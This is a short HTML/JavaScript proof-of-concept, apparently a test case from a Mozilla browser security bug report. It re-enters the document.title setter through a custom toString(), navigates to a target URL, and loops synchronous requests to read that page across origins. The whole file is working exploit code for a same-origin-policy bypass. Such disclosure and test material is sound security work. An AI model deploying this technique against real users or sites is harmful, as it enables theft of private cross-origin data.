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<!-- test by moz_bug_r_a4@yahoo.com -->
<body onload="a()">
<script>
var targetUrl = "http://example.com/";
var l;

function a() {
        var o = {};
        o.toString = function() {
                l();
                return "a";
        };
        var f = Object.getOwnPropertyDescriptor(Document.prototype, "title").set;
        setTimeout(f.bind(document), 0, o);
}

function l() {
        var l = false;
        onunload = function() {
                l = true;
        };
        location = targetUrl;
        do {
                var r = new XMLHttpRequest();
                r.open("GET", location.href, false);
                r.overrideMimeType("text/plain");
                try { r.send(null); }
                catch (e) {}
        } while (!l);
}
</script>